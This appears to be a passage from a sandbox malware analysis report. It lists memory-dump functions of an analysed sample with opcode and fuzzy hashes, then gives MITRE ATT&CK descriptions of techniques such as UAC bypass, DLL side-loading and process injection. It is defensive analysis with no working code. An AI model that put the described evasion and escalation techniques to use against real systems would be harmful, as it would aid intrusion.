Instruction Fuzzy Hash: 9631EB30F1990D8FDFA4DBA8C465AAD7BF1FF58301F0144B9D10ED72A1DA34A9418B51

Function 00007FFD9B903817 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68852620dd477ece09ea878db7f931c67b1fdb62ef5af7eaf4d06fc72c818f1a
Instruction ID: 3a928f1190ff07729e637403308c72ce9f2218cd63b9d4d987c5557dbdb75e80
Opcode Fuzzy Hash: 68852620dd477ece09ea878db7f931c67b1fdb62ef5af7eaf4d06fc72c818f1a
Instruction Fuzzy Hash: F6214C35F2E54E5FE768E7A898322B877E1EF59310F0501B9E48DD31E2EE2869054380

Function 00007FFD9B90EF28 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11e2ba4058414468ba5d608bb982fd7fd21793d2c1747660ee08295a0999d5f4
Instruction ID: ffa1d0fc3efc40f1d95a06dc452d5c3304d84c15d5b446c19f2243eb8b9cfcb4
Opcode Fuzzy Hash: 11e2ba4058414468ba5d608bb982fd7fd21793d2c1747660ee08295a0999d5f4
Instruction Fuzzy Hash: 8E21887094E6CA5FD7539BB488682A57FF0AF17300F1A04EBD088CB0B3DA286545C712

Function 00007FFD9B90F6FC Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615b17bedfd66ee1191329b2d7a70f58c329c8d8ef8d3788787cc9b19a8dace4
Instruction ID: 3e534158e7320dd54456e20ee6e04500b7bdae490502fb5251ce125f0f008f23
Opcode Fuzzy Hash: 615b17bedfd66ee1191329b2d7a70f58c329c8d8ef8d3788787cc9b19a8dace4
Instruction Fuzzy Hash: 5E31EF74E2951D9EDB64EBA8C8A57ECB7B1FF58314F51007AD049E32A2CE386A40CB51

Function 00007FFD9B8FDA9C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34233a48073c28772ce69c8580de7ae8816ac3ccae362d7bd32bb068c188d2d4
Instruction ID: 4332db86f3074862fec0f1fc509755421ea6aca60088ea319a3515e738f53385
Opcode Fuzzy Hash: 34233a48073c28772ce69c8580de7ae8816ac3ccae362d7bd32bb068c188d2d4
Instruction Fuzzy Hash: E1118F22B2D90D1BDB68E79CA8A25FC77D2EF9C710B05513AE10EC32A2DD246D0243C0

Function 00007FFD9B903A51 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 541f8a3ad8e9108480e2ac2e770631b569083919777fe6f13eb50f3df3ca84ac
Instruction ID: 8d8bc2d81fe9e183f4678be987e85823f47e8076872535fc7fb04d5c1cfe7b78
Opcode Fuzzy Hash: 541f8a3ad8e9108480e2ac2e770631b569083919777fe6f13eb50f3df3ca84ac
Instruction Fuzzy Hash: BC215815A6F7CA2EE76742B818350A43FA18E4766074F41FBD0CACF1A3D90C5A4A9362

Function 00007FFD9B902769 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0599dcf5594269faa029b00e4bd4312a6b4d8ffb0e1396f6a43720549c426dfb
Instruction ID: 90700a8abe3b05b3e9950a9165d7886ef3975422d24436cf42ed9d565d94828a
Opcode Fuzzy Hash: 0599dcf5594269faa029b00e4bd4312a6b4d8ffb0e1396f6a43720549c426dfb
Instruction Fuzzy Hash: 95210C75E1950D9FDF9CDB98C466AADB7B1EF58304F4100BED04EE72A1DE34AA418B40

Function 00007FFD9B90435B Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e9d6c8895394f8a0de98da6cd0572b3bdb0fd8692534f3b602743c7764d379
Instruction ID: 6fadfa161dc8a04a664c06201313b87a3438d7286d8cf2bc19d89fe3047b03ea
Opcode Fuzzy Hash: d5e9d6c8895394f8a0de98da6cd0572b3bdb0fd8692534f3b602743c7764d379
Instruction Fuzzy Hash: 75112635B29E0D4FC764EB24A0206F573A1FF44215B90067ED08AC3193CE35F5448780

Function 00007FFD9B908F81 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee04fd43d7f5acc441cf7d63876e3683ba3aa12b09d75292e2b94400e3b70866
Instruction ID: 0021898c86afcdee6ea03cc78f12a2d980b05aa8fe1eb059bd651d46c422979e
Opcode Fuzzy Hash: ee04fd43d7f5acc441cf7d63876e3683ba3aa12b09d75292e2b94400e3b70866
Instruction Fuzzy Hash: 0E11E33491A24E8FDB55EF7888595FA7BF0FF09305F1102BAE458C7162CB389295C781

Function 00007FFD9B90B788 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2040d8bc848cccc9f9ae6cb3e4e1df00f60622e584c2760f4c68ec0641056522
Instruction ID: f74eb93e900619026c6f2ed8a6ecf98286e6056bf5f3f420f7b7ac9d019088d7
Opcode Fuzzy Hash: 2040d8bc848cccc9f9ae6cb3e4e1df00f60622e584c2760f4c68ec0641056522
Instruction Fuzzy Hash: AD11E735F2E90E5AEB50ABA8D8652ED77E1FF48310F410175D09EE31F6DE3866018700

Function 00007FFD9B90278F Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd47c1c9d8661f0b712154140e44636812718cc7f5bee22fea972232ffdb4b65
Instruction ID: 1755539642a246c3a03604c4f4aed966b831fbb3b06b76d068bf98243b8e0a12
Opcode Fuzzy Hash: cd47c1c9d8661f0b712154140e44636812718cc7f5bee22fea972232ffdb4b65
Instruction Fuzzy Hash: 1A110A35E1991D9FDF9CDB98D865AACB3A1FB58314F4101BED04EE32A1DE34A9408B00

Function 00007FFD9B90C673 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1265ee4c2e5cebb3e6328b146d43e8da0af844dbf030620febef5240bc63833d
Instruction ID: bcd3ba45be5c44255e4a8fe20f342617a85329434f157bc5efb01b27a98557b8
Opcode Fuzzy Hash: 1265ee4c2e5cebb3e6328b146d43e8da0af844dbf030620febef5240bc63833d
Instruction Fuzzy Hash: 5E11A36591E3CA9FDB579BB44C382E97FB0AF17204F0A00FBD499C70A3D6284948C712

Function 00007FFD9B9041C9 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9977b72a68b1c61531d39e794a0dbf6c3807852dd0ecc50a08d6ddd3d0dba272
Instruction ID: 26a5cab10d232d10d351302221e9757cb5cee828c90b5783668d54c3ba04d3e4
Opcode Fuzzy Hash: 9977b72a68b1c61531d39e794a0dbf6c3807852dd0ecc50a08d6ddd3d0dba272
Instruction Fuzzy Hash: FA11483635890E8FD754DB48E8603F57391FB94325FA1013ED549C32E1CA36A6918780

Function 00007FFD9B90B6F2 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46ca2b140a757ec0bb2b3f36eb5f66d208fe849d6b1a2b81033017c96096f40c
Instruction ID: cbc5b1b44e04810585bc80e71a0b9bb1638658df6a8f4fa065cd78fcd324d83c
Opcode Fuzzy Hash: 46ca2b140a757ec0bb2b3f36eb5f66d208fe849d6b1a2b81033017c96096f40c
Instruction Fuzzy Hash: 4F01A1776181258ADB0DBFACF9998D873E0EF4423975547B7C0998E08BEE246045C685

Function 00007FFD9B907010 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e64f5dac631381b58b30098f01ebb23b2a56de94ec40e74343f4f4f03aa48d4b
Instruction ID: fad4d2f7b490a4ecf733ab4c42cb84b10e6fb8386a6c8be8b285a3ab181f489b
Opcode Fuzzy Hash: e64f5dac631381b58b30098f01ebb23b2a56de94ec40e74343f4f4f03aa48d4b
Instruction Fuzzy Hash: 77115E34A19A0E9FDB94EF68C8696BE77E1FF58305F10057AE419D31A4DB34A140CB80

Function 00007FFD9B90A9E5 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500e9c68ab8db850c8863b44bc5b25455a22a9e806ad9bed232b0425c0623175
Instruction ID: 68cea8335fee5963c25524768e8b1accf20281b9cb6af39d18189440c7237548
Opcode Fuzzy Hash: 500e9c68ab8db850c8863b44bc5b25455a22a9e806ad9bed232b0425c0623175
Instruction Fuzzy Hash: BB115E30A1964E9FE752ABA889585F97BF1EF0A300F0645B7E458C60A2DA3896548740

Function 00007FFD9B906BC2 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9e6530c73e3958835e50fec407ac135e9c6786c38f65877a88eb909d794200d
Instruction ID: 97d13d44badc7fdbab06063f8bed2e5fb11587d86f68a4701d9b65355f4993ef
Opcode Fuzzy Hash: e9e6530c73e3958835e50fec407ac135e9c6786c38f65877a88eb909d794200d
Instruction Fuzzy Hash: 9411E374E0D50D8AEB64EFE8C4A46ECB7B5EB58310F51403AD01AE72A2CB356A45CB40

Function 00007FFD9B90C101 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f11d537933f4dd048accf31839fe3d9609997a4b84757c06f7419b7c970d8bd6
Instruction ID: c82d8d579dab4990214d382dac70c051a727a8633cd7931ade38347cadb51e9f
Opcode Fuzzy Hash: f11d537933f4dd048accf31839fe3d9609997a4b84757c06f7419b7c970d8bd6
Instruction Fuzzy Hash: 72017534A1964E9FEB91EBB888585BE77F0FF19301F0649B7E418C70B5EA34A680C751

Function 00007FFD9B90FAEC Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5fa9ee106d27f327c1d83605f954ca67b7bd43d41663c14d76046fd5f71a54
Instruction ID: 78e0742a2bd0bf1fbd5a8f0a7294ff4146d786575f78ae49078cf3ec19e4dc31
Opcode Fuzzy Hash: 2d5fa9ee106d27f327c1d83605f954ca67b7bd43d41663c14d76046fd5f71a54
Instruction Fuzzy Hash: 1F118E34A1950E9FDBA8EF68C4682BE7BE0FF28304F1004BAD41DC21A4DA34A240CB40

Function 00007FFD9B90BBD5 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a234753949e76f726205facc5c9929af877d151aadb1048391dc1957c96a75
Instruction ID: f96b54ab27974c08f0800e8d0f6bc402afc528dd25eeb431ff88f0c2f1ab7505
Opcode Fuzzy Hash: 08a234753949e76f726205facc5c9929af877d151aadb1048391dc1957c96a75
Instruction Fuzzy Hash: BD018034A1A55E9FEB61EB68885C5BD7BE0FF19301F0209B6D459C70B5EE34A2408700

Function 00007FFD9B908D91 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e79b09038c9639ba47890f75c6f22db2654402a670258f04a13623711344452
Instruction ID: f285ec199114c96e47004f6119aa53b8da81b03e800b3d569647f2a39187131c
Opcode Fuzzy Hash: 2e79b09038c9639ba47890f75c6f22db2654402a670258f04a13623711344452
Instruction Fuzzy Hash: 5D01B130A2A64E9FDB59EF64C4A96BA3BA0FF28300F0105BED419C61E6DE35A640C710

Function 00007FFD9B9011DA Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 025ee99dde91c2e7c7270139c293960caf25cfc6f45c7780a9303cb7ee161467
Instruction ID: f59e847cb98bca53c4223421f239b567dca3d6c2f3586f8864a969654315a5c3
Opcode Fuzzy Hash: 025ee99dde91c2e7c7270139c293960caf25cfc6f45c7780a9303cb7ee161467
Instruction Fuzzy Hash: 7401267261EB8D1BD798D708D0205A677D1FFC8364F44053EF189D33A0DE61AA418781

Function 00007FFD9B8FE4F9 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86945bfaaa762c0f5e1958b633087b2631d264c5d26feba0d594879758f551a
Instruction ID: 09a03c30448fd5a9c0e3d8d3ac5565a64fb41c5344493ca6b668c313e8729d58
Opcode Fuzzy Hash: c86945bfaaa762c0f5e1958b633087b2631d264c5d26feba0d594879758f551a
Instruction Fuzzy Hash: BA018431719E098FD7A4EB68D0509A5B7E2FF5830475009B9C04AC76A6DE39F846C780

Function 00007FFD9B90B780 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f378b35723ee4bb7236ec0f4afaf673577ce877edd632f761b48460dab3a5680
Instruction ID: a6c8d300ec8baa64b6dd9b43b52f7ed995518dba6c85fed1501cad83b1cdd14f
Opcode Fuzzy Hash: f378b35723ee4bb7236ec0f4afaf673577ce877edd632f761b48460dab3a5680
Instruction Fuzzy Hash: 4A012639B2E90E5EEB61B7B8C8695E977E0FF08310F060676D05ACB0F6ED24F2408240

Function 00007FFD9B909B38 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f28af93c1c9babfe56ae5d1238a032631f8eccbf9c1746e178d2b282898a2f
Instruction ID: 9869bc896701606920be3816b7a6a59ffc719f046120fe4df0841b3b2de2830c
Opcode Fuzzy Hash: e1f28af93c1c9babfe56ae5d1238a032631f8eccbf9c1746e178d2b282898a2f
Instruction Fuzzy Hash: 4F011E34A1550E9EDBA8EFA4C4686BE77F0FF18305F11087ED41AD21A1DA356650CB00

Function 00007FFD9B902A62 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc218fdfab343650fb6b830d9fbb836618d82e745f04f8420dee16ebb8fb179d
Instruction ID: e83975542d89495ecfabeb093a56105908077112f06eb5e5ed3067ab015ff49b
Opcode Fuzzy Hash: dc218fdfab343650fb6b830d9fbb836618d82e745f04f8420dee16ebb8fb179d
Instruction Fuzzy Hash: 01F0683555F2CA6FD722CBF088255E57FA4AF43304F1600E6D085C70A2C92D1645D761

Function 00007FFD9B8FE387 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04795a67dae382b444cbecbe86c1c2d94920e629a8831eb65de36b530754d48e
Instruction ID: 29ceb52672f65e23679d1eb4fb412f68277218ded365c25b6edc85f35057067e
Opcode Fuzzy Hash: 04795a67dae382b444cbecbe86c1c2d94920e629a8831eb65de36b530754d48e
Instruction Fuzzy Hash: D8F0823274D64A8FE7269758D8257D4BB91EB55320F1A02BAC044CA2E2C56D95C1C381

Function 00007FFD9B90AA00 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c17c1b8eb8be1f36bf4eeee0d2a83a8e2f95ef7c20ebde57f5f64ae6d42220a
Instruction ID: 176fbf6c48eeb7077e72792c07ce43ead33ec47078b404e1abecea08b89d8aea
Opcode Fuzzy Hash: 4c17c1b8eb8be1f36bf4eeee0d2a83a8e2f95ef7c20ebde57f5f64ae6d42220a
Instruction Fuzzy Hash: B0E0C034D2951F9AEB51ABA889592FE77E4FF18304F010976E41CD20A1EA3492648681

Function 00007FFD9B8FD028 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0056c091f3db706ecbecbd641df132098a90f167ed6db918c489fe33475758bb
Instruction ID: aab2d36087d205a2b21d1283480e634161b4d4e55bcb9a23bd012b3b57a469f0
Opcode Fuzzy Hash: 0056c091f3db706ecbecbd641df132098a90f167ed6db918c489fe33475758bb
Instruction Fuzzy Hash: E8C00208F3F54FA3E83A67E108720F816486F4DB10FA60571D58E410E95C4D2395259B

Function 00007FFD9B8FE378 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 621e9d42792b3d577f93bc2d2904aa1f3619e70e98bbdf32dc2d777a35c4fe69
Instruction ID: c7b9eb4593922ff4d1c124e9d2d443553841d52d442f14f102bd07d8a5215f79
Opcode Fuzzy Hash: 621e9d42792b3d577f93bc2d2904aa1f3619e70e98bbdf32dc2d777a35c4fe69
Instruction Fuzzy Hash: 4EC04C31B0A50A8BE3359761803463966519F8C345F324439C00F4AEA5DD39FE42D780

Function 00007FFD9B9043DB Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1836900390.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b8fd000_qwhJcOiWbbUoQMvwnJNr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0e5212f0e8067a729926176cff98c6a5cab505941f6ac8672f4a6cdd291f32
Instruction ID: 5c31a7d8e448369cae958111999454a0743bfd28ed7c46d353d44efcd3de9ef6
Opcode Fuzzy Hash: 6b0e5212f0e8067a729926176cff98c6a5cab505941f6ac8672f4a6cdd291f32
Instruction Fuzzy Hash: F8C02B3400F3869EC3222770C4621B83FF08F0320431B06F5D0C0861F3C43A6104D710

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
